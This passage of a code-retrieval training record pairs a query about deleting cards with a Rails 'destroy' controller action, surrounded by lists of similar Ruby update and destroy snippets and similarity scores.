"def update\n @card_set = CardSet.find(params[:id])\n\n respond_to do |format|\n if @card_set.update_attributes(params[:card_set])\n format.html { redirect_to @card_set, notice: 'Card set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @card_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expansion_of_card = ExpansionOfCard.find(params[:id])\n\n respond_to do |format|\n if @expansion_of_card.update_attributes(params[:expansion_of_card])\n flash[:notice] = 'ExpansionOfCard was successfully updated.'\n format.html { redirect_to(@expansion_of_card) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expansion_of_card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_card(address_book_id, card_uri, card_data)\n end",
"def update\n @card = Card.find(params[:id])\n @card.project.actions.create! activity: \"#{current_user.name} chanded \\\"#{@card.story}\\\" to #{params[:card][:story]} Card story\"\n respond_to do |format|\n if @card.update_attributes(params[:card])\n format.html { redirect_to project_url(@card.project), notice: 'Card updated' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fleet_card = FleetCard.find(params[:id])\n\n respond_to do |format|\n if @fleet_card.update_attributes(params[:fleet_card])\n format.html { redirect_to(@fleet_card, :notice => 'Fleet Card was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @fleet_card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def update\n @deck = Deck.find(params[:id])\n\n respond_to do |format|\n if @deck.update_attributes(params[:deck])\n format.html { redirect_to deck_cards_url(@deck), notice: 'Deck was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @deck = Deck.find(params[:id])\n\n respond_to do |format|\n if @deck.update_attributes(params[:deck])\n format.html { redirect_to @deck, notice: 'Deck was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @deck = Deck.find(params[:id])\n\n respond_to do |format|\n if @deck.update_attributes(params[:deck])\n format.html { redirect_to @deck, notice: 'Deck was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_card(id, params)\n card = find_card(id)\n if card\n card.update(params)\n save\n end\n end",
"def set_card\n puts '39393', request.path_parameters, '94358{394'\n @card = Card.find(params[:id])\n end",
"def update\n @card = Card.find(params[:id])\n\n respond_to do |format|\n if @card.update_attributes(params[:card])\n notify_admin(\"Card Updated (#{@card.last_three_digits})\", @card.as_json)\n format.html { redirect_to @card, notice: 'Card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cruno_card = CrunoCard.find(params[:id])\n @cruno_card.player = Player.find(2)\n\n respond_to do |format|\n if @cruno_card.update_attributes(params[:cruno_card])\n format.html { redirect_to @cruno_card, notice: 'Cruno card was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cruno_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @name_card.update(name_card_params)\n format.html { redirect_to @name_card, notice: 'Name card was successfully updated.' }\n format.json { render :show, status: :ok, location: @name_card }\n else\n format.html { render :edit }\n format.json { render json: @name_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @namecard.update(namecard_params)\n format.html { redirect_to @namecard, notice: 'Namecard was successfully updated.' }\n format.json { render :show, status: :ok, location: @namecard }\n else\n format.html { render :edit }\n format.json { render json: @namecard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @deck_card.update(deck_card_params)\n flash[:success] = \"Deck card was successfully updated.\"\n redirect_to @deck_card.deck\n format.json { render :show, status: :ok, location: @deck_card }\n else\n format.html { render :edit }\n format.json { render json: @deck_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @flash_card = FlashCard.find(params[:id])\n\n respond_to do |format|\n if @flash_card.update_attributes(params[:flash_card])\n format.html { redirect_to(@flash_card, :notice => 'Flash card was successfully updated.') }\n format.json { render :json => [] }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @flash_card.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @flash_card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @scorecard = Scorecard.find(params[:id])\n\n respond_to do |format|\n if @scorecard.update_attributes(params[:scorecard])\n format.html { redirect_to @scorecard, notice: 'Scorecard was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @scorecard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bcard = Bcard.find(params[:id])\n\n respond_to do |format|\n if @bcard.update_attributes(params[:bcard])\n format.html { redirect_to(@bcard, :notice => 'Bcard was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bcard.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @card_instance.update(card_instance_params)\n format.html { redirect_to @card_instance, notice: 'Card owner was successfully updated.' }\n format.json { render :show, status: :ok, location: @card_instance }\n else\n format.html { render :edit }\n format.json { render json: @card_instance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @timecard = Timecard.find(params[:id])\n\n respond_to do |format|\n if @timecard.update_attributes(params[:timecard])\n format.html { redirect_to(@timecard, :notice => 'Timecard was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @timecard.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @card_set.update(card_set_params)\n format.html { redirect_to @card_set, notice: 'Card set was successfully updated.' }\n format.json { render :show, status: :ok, location: @card_set }\n else\n format.html { render :edit }\n format.json { render json: @card_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to plan_path(@plan), notice: 'Card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_card\n @card = @deck.cards.find(params[:id])\n end",
"def update!(**args)\n @cards = args[:cards] if args.key?(:cards)\n end",
"def update\n respond_to do |format|\n if @inden_card.update(inden_card_params)\n format.html { redirect_to @inden_card, notice: (t 'inden_cards.title2')+(t 'actions.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @inden_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @deck_of_card.update(deck_of_card_params)\n format.html { redirect_to @deck_of_card, notice: 'Deck of card was successfully updated.' }\n format.json { render :show, status: :ok, location: @deck_of_card }\n else\n format.html { render :edit }\n format.json { render json: @deck_of_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @card_info = CardInfo.find(params[:id])\n @organization = Organization.find(@card_info.organization_id)\n if @card_info.update_attributes(params[:card_info])\n flash[:notice] = \"Successfully updated credit card for #{@organization.name}.\"\n redirect_to organization_url(@organization)\n else\n flash[:notice] = \"Unable to update credit card for #{@organization.name}.\"\n render :action => \"edit\"\n end\n end",
"def updateCard\n if !(Integer(params[:id]) rescue false)\n renderError(\"Not Acceptable (Invalid Params)\", 406, \"The parameter id is not an integer\")\n return -1\n end\n resultsGet = HTTParty.get(\"http://192.168.99.104:3003/credit_card?id=\"+params[:id])\n userA = (resultsGet[\"user_id\"])\n puts(userA)\n puts( @current_user[\"id\"])\n if userA != (@current_user[\"id\"])\n renderError(\"Forbidden\",403,\"current user has no access\")\n return -1\n else\n options = {\n :body => params.to_json,\n :headers => {\n 'Content-Type' => 'application/json'\n }\n }\n results = HTTParty.put(\"http://192.168.99.104:3003/credit_cards?id=\"+params[:id], options)\n if results.code == 201\n head 201\n else\n render json: results.parsed_response, status: results.code\n end\n end\n end",
"def update\n respond_to do |format|\n if @poker_card.update(poker_card_params)\n format.html { redirect_to @poker_card, notice: 'Poker card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @poker_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @card = args[:card] if args.key?(:card)\n @card_id = args[:card_id] if args.key?(:card_id)\n end",
"def update\n @cards_question = Cards::Question.find(params[:id])\n\n respond_to do |format|\n if @cards_question.update_attributes(params[:cards_question])\n format.html { redirect_to @cards_question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cards_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put!\n request! :put\n end",
"def update\n respond_to do |format|\n if @entry_card.update(entry_card_params)\n format.html { redirect_to @entry_card, notice: 'Entry card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @entry_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @deck = Deck.find(params[:id])\n @deck.update(title: params[:title])\n render \"update.json.jbuilder\", status: :ok\n end",
"def set_card\n @card = Card.find(params[:id])\n end",
"def set_card\n @card = Card.find(params[:id])\n end",
"def set_card\n @card = Card.find(params[:id])\n end",
"def set_card\n @card = Card.find(params[:id])\n end",
"def set_card\n @card = Card.find(params[:id])\n end",
"def update\n @card_number = CardNumber.find(params[:id])\n\n respond_to do |format|\n if @card_number.update_attributes(params[:card_number])\n format.html { redirect_to @card_number, notice: 'Broj kartice je uspjesno azuriran.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @card_number.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @flashcard = Flashcard.find(params[:id])\n\n respond_to do |format|\n if @flashcard.update_attributes(params[:flashcard])\n format.html { redirect_to @flashcard, notice: 'Flashcard was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @flashcard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @eno_card.update(eno_card_params)\n format.html { redirect_to @eno_card, notice: 'Eno card was successfully updated.' }\n format.json { render :show, status: :ok, location: @eno_card }\n else\n format.html { render :edit }\n format.json { render json: @eno_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def put(*args)\n request :put, *args\n end",
"def edit\n @card = Card.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @ccard.update(ccard_params)\n format.html { redirect_to @ccard, notice: 'Ccard was successfully updated.' }\n format.json { render :show, status: :ok, location: @ccard }\n else\n format.html { render :edit }\n format.json { render json: @ccard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_card\n # @card = Card.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @m_card.update(m_card_params)\n format.html { redirect_to @m_card, notice: 'M card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @m_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_card_resource(card_id, resource, *paths)\n paths, options = extract_options(camp(resource), *paths)\n put card_path(card_id, *paths), options\n end",
"def update\n @card_template = CardTemplate.find(params[:id])\n\n respond_to do |format|\n if @card_template.update_attributes(params[:card_template])\n flash[:notice] = 'CardTemplate was successfully updated.'\n format.html { redirect_to(@card_template) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @card_template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
"def update\n respond_to do |format|\n if @wallet.update_card(params[:id], card_params)\n format.html { redirect_to wallet_path, notice: 'Card was successfully updated.' }\n format.json { render json: @wallet, status: :ok, location: wallet_path }\n else\n @card = @wallet.find_card(params[:id])\n format.html { render :edit }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @card_instance.update(card_instance_params)\n format.html { redirect_to @card_instance, notice: 'Card instance was successfully updated.' }\n format.json { render :show, status: :ok, location: @card_instance }\n else\n format.html { render :edit }\n format.json { render json: @card_instance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if !(params[:id].nil?)\n if(CompanyCard.exists?(params[:id]))\n card = CompanyCard.find(params[:id])\n card.update(card_params)\n render status: 200, json:{\n message: \"Successfully updated\",\n company_cards: card\n }.to_json\n else\n render status: 422, json:{\n message: \"Unable to process your request of the server.\"\n }.to_json\n end\n else\n render status: 422, json:{\n message: \"Unable to process your request of the server.\"\n }.to_json\n end\n end",
"def update\n @bank_card = BankCard.find(params[:id])\n\n respond_to do |format|\n if @bank_card.update_attributes(params[:bank_card])\n format.html { redirect_to(@bank_card) }\n format.xml { head :ok }\n format.json { render :text => '{status: \"success\", message: \"成功更新银行卡!\"}'}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bank_card.errors, :status => :unprocessable_entity }\n format.json { render :text => \"{status: 'failed', error:#{@bank_card.errors.full_messages.to_json}}\"}\n end\n end\n end",
"def update\n respond_to do |format|\n if @deck.update(deck_params)\n format.html { redirect_to @deck, notice: 'Deck was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @flash_card_set ||= FlashCardSet.find params[:id]\n\n if @flash_card_set.update_attributes update_params\n render :show, status: 200\n else\n render json: { resource: \"flashCardSet\", errors: @flash_card_set.errors }, status: 409\n end\n end",
"def update\n respond_to do |format|\n if @keycard.update(keycard_params)\n format.html { redirect_to keycards_path, notice: 'keycard ' + @keycard.id.to_s + ' was successfully updated.' }\n format.json { render :show, status: :ok, location: @keycard }\n else\n format.html { render :edit }\n format.json { render json: @keycard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bcard = Bcard.find(params[:id])\n\n respond_to do |format|\n if @bcard.update_attributes(params[:bcard])\n format.html { redirect_to @bcard, notice: 'Bcard was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bcard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @make_card.update(make_card_params)\n format.html { redirect_to @make_card, notice: 'Make card was successfully updated.' }\n format.json { render :show, status: :ok, location: @make_card }\n else\n format.html { render :edit }\n format.json { render json: @make_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @side_card.update(side_card_params)\n format.html { redirect_to @side_card, notice: 'Side card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @side_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_card\n @card = Card.find(params[:id])\n end",
"def set_card\n @card = Card.find(params[:id])\n end",
"def set_card\n @card = Card.find(params[:id])\n end",
"def set_card\n @card = Card.find(params[:id])\n end",
"def set_card\n @card = Card.find(params[:id])\n end",
"def set_card\n @card = Card.find(params[:id])\n end",
"def set_card\n @card = Card.find(params[:id])\n end",
"def set_card\n @card = Card.find(params[:id])\n end"
] |
[
"0.6589716",
"0.65789574",
"0.6406034",
"0.63808924",
"0.63539326",
"0.63539326",
"0.63539326",
"0.63418454",
"0.6318522",
"0.6305802",
"0.6300466",
"0.629058",
"0.62860274",
"0.61777765",
"0.61374116",
"0.61374116",
"0.61374116",
"0.61374116",
"0.61374116",
"0.61374116",
"0.61310124",
"0.6121993",
"0.61165893",
"0.61007655",
"0.6099994",
"0.6083075",
"0.6081116",
"0.607129",
"0.6053188",
"0.60446763",
"0.5976681",
"0.59000593",
"0.5890692",
"0.58642673",
"0.5856267",
"0.58408004",
"0.5830291",
"0.58126366",
"0.58126366",
"0.5811031",
"0.5810404",
"0.5807097",
"0.5806437",
"0.579698",
"0.57849604",
"0.5775893",
"0.57614887",
"0.5755565",
"0.5754132",
"0.573477",
"0.5726378",
"0.5717071",
"0.57114416",
"0.56919956",
"0.5688042",
"0.567134",
"0.56639117",
"0.5662623",
"0.56543386",
"0.5647891",
"0.5642386",
"0.5616434",
"0.5601764",
"0.5601592",
"0.5601215",
"0.5590082",
"0.5590082",
"0.5590082",
"0.5590082",
"0.5590082",
"0.5590029",
"0.5589441",
"0.5583347",
"0.5576739",
"0.55759436",
"0.55660135",
"0.55653787",
"0.5559923",
"0.55467",
"0.55462253",
"0.55424404",
"0.55307525",
"0.5527923",
"0.55268437",
"0.5507523",
"0.5502082",
"0.55015415",
"0.55015224",
"0.5494712",
"0.54929334",
"0.54858375",
"0.54793227",
"0.5473972",
"0.5473972",
"0.5473972",
"0.5473972",
"0.5473972",
"0.5473972",
"0.5473972",
"0.5473972"
] |
0.6795415
|
0
|
DELETE /cards/1 DELETE /cards/1.xml
|
def destroy
# @card = Card.find(params[:id])
@card.destroy
respond_to do |format|
format.html { redirect_to(:back) }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to(deck_cards_url(@deck)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @five_card = FiveCard.find(params[:id])\n @five_card.destroy\n\n respond_to do |format|\n format.html { redirect_to(five_card_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @bcard = Bcard.find(params[:id])\n @bcard.destroy\n\n respond_to do |format|\n format.html { redirect_to(bcards_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @card.destroy\n\n head :no_content\n end",
"def destroy\n @old_card = OldCard.find(params[:id])\n @old_card.destroy\n\n respond_to do |format|\n format.html { redirect_to(old_cards_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @expansion_of_card = ExpansionOfCard.find(params[:id])\n @expansion_of_card.destroy\n\n respond_to do |format|\n format.html { redirect_to(expansion_of_cards_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @card.update!(deleted_at: Time.now)\n head :no_content\n end",
"def destroy\n @collection_card = CollectionCard.find(params[:id])\n @collection_card.destroy\n\n respond_to do |format|\n format.html { redirect_to(collection_cards_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @card.delete\n render json: {messsage: \"Movie/Series Card was successfully deleted.\"}, status: 204\n end",
"def destroy\n #@card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url, :notice => 'Card successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bank_card = BankCard.find(params[:id])\n @bank_card.destroy\n\n respond_to do |format|\n format.html { redirect_to(bank_cards_url) }\n format.xml { head :ok }\n format.json { render :text => '{status: \"success\"}'}\n end\n end",
"def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card.card_parameters.destroy_all\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url, notice: 'Card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @card = Card.destroy(params[:id])\n # render json: 200\n end",
"def destroy\n @card = @deck.cards.find(params[:id])\n @card.destroy\n respond_to do |format|\n format.html { redirect_to deck_path(@deck), notice: 'Card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url, notice: 'Card was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to tarot_cards_path(@tarot) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url, notice: t(\".successfully_destroyed\") }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n notify_admin(\"Card Removed (#{@card.last_three_digits})\", @card.as_json)\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n raise 'Yet not implemented'\n @cardbox = current_user.cardboxes.find(params[:id])\n @cardbox.destroy\n\n respond_to do |format|\n format.html { redirect_to(cardboxes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n card = Card.find( params[:id] )\n card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url, notice: 'Card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @charge_master = ChargeMaster.find(params[:id])\n @charge_master.destroy\n\n respond_to do |format|\n format.html { redirect_to(charge_masters_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @card_template = CardTemplate.find(params[:id])\n @card_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(card_templates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @acre = Acre.find(params[:id])\n @acre.destroy\n\n respond_to do |format|\n format.html { redirect_to(acres_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @card.destroy\n \n respond_to do |format|\n format.html { redirect_to cards_url, notice: 'Card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete card\n @hand.delete(Card.new(card))\n end",
"def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url, notice: 'Card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url, notice: 'Card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url, notice: 'Card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url, notice: 'Card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url, notice: 'Card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url, notice: 'Card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url, notice: 'Card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @timecard = Timecard.find(params[:id])\n @timecard.destroy\n\n respond_to do |format|\n format.html { redirect_to(timecards_url) }\n format.xml { head :ok }\n end\n end",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def destroy\n @arc = Arc.find(params[:id])\n @arc.destroy\n\n respond_to do |format|\n format.html { redirect_to(arcs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url, notice: 'Tarjeta Creada Satisfactoriamente' }\n format.json { render :show, status: :ok, location: @card }\n end\n end",
"def destroy\n @entry_card.destroy\n respond_to do |format|\n format.html { redirect_to entry_cards_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cruno_card = CrunoCard.find(params[:id])\n @cruno_card.destroy\n\n respond_to do |format|\n format.html { redirect_to cruno_cards_url }\n format.json { head :ok }\n end\n end",
"def destroy\n set_m_card\n @m_card.destroy\n respond_to do |format|\n format.html { redirect_to m_cards_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @inden_card.destroy\n respond_to do |format|\n format.html { redirect_to inden_cards_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bcard = Bcard.find(params[:id])\n @bcard.destroy\n\n respond_to do |format|\n format.html { redirect_to bcards_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pk_card.destroy\n respond_to do |format|\n format.html { redirect_to pk_cards_url, notice: 'Pk card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @flash_card = FlashCard.find(params[:id])\n @flash_card.destroy\n\n respond_to do |format|\n format.html { redirect_to(flash_cards_url) }\n format.json { render :json => [] }\n format.xml { head :ok }\n end\n end",
"def destroy\n @atmdebitcardapp = Atmdebitcardapp.find(params[:id])\n @atmdebitcardapp.destroy\n\n respond_to do |format|\n format.html { redirect_to(atmdebitcardapps_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ccard.destroy\n respond_to do |format|\n format.html { redirect_to ccards_url, notice: 'Ccard was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card = Card.find(params[:id])\n @card.card_taggings.each do |tag|\n c = CardTag.joins(:cards).where(card_taggings: {id: tag.id})\n c.first.destroy rescue nil\n end\n @card.card_taggings.destroy_all\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @make_card.destroy\n RechargeableCard.where(make_card_id: params[:id]).delete_all\n respond_to do |format|\n format.html { redirect_to make_cards_url, notice: 'Make card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @genbank_file.destroy\n\n respond_to do |format|\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @bizcard = Bizcard.find(params[:id])\n @bizcard.destroy\n\n respond_to do |format|\n format.html { redirect_to bizcards_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fleet_card = FleetCard.find(params[:id])\n @fleet_card.destroy\n\n respond_to do |format|\n format.html { redirect_to(fleet_cards_url, :notice => \"Fleet Card was deleted.\") }\n format.xml { head :ok }\n end\n end",
"def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to request.referer, notice: 'Card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to deck_cards_path(@deck, @card), notice: 'Card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @catalog = Catalog.find(params[:id])\n @catalog.destroy\n\n respond_to do |format|\n format.html { redirect_to(catalogs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @card_set = CardSet.find(params[:id])\n @card_set.destroy\n\n respond_to do |format|\n format.html { redirect_to card_sets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clique = Clique.find(params[:id])\n @clique.destroy\n\n respond_to do |format|\n format.html { redirect_to(cliques_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @carro = Carro.find(params[:id])\n @carro.destroy\n\n respond_to do |format|\n format.html { redirect_to(carros_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reclamo = Reclamo.find(params[:id])\n @reclamo.destroy\n\n respond_to do |format|\n format.html { redirect_to(reclamos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to card_url, notice: 'Card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @discharge = Discharge.find(params[:id])\n @discharge.destroy\n\n respond_to do |format|\n format.html { redirect_to(discharges_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n if(params.has_key?(:card_id))\n @Waste2Card = Waste2Card.find_by_card_id(params[:card_id])\n @Waste2Card.destroy\n else\n Waste2Card.delete_all\n end\n render json: {}, status: :no_content\n end",
"def destroy\r\n @cat1 = Cat1.find(params[:id])\r\n @cat1.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(cat1s_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @Roc = Roc.find(params[:id])\n @Roc.destroy\n\n respond_to do |format|\n format.html { redirect_to(Rocs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @card_access.destroy\n end",
"def destroy\n @rede = Rede.find(params[:id])\n @rede.destroy\n\n respond_to do |format|\n format.html { redirect_to(redes_url) }\n format.xml { head :ok }\n end\n end",
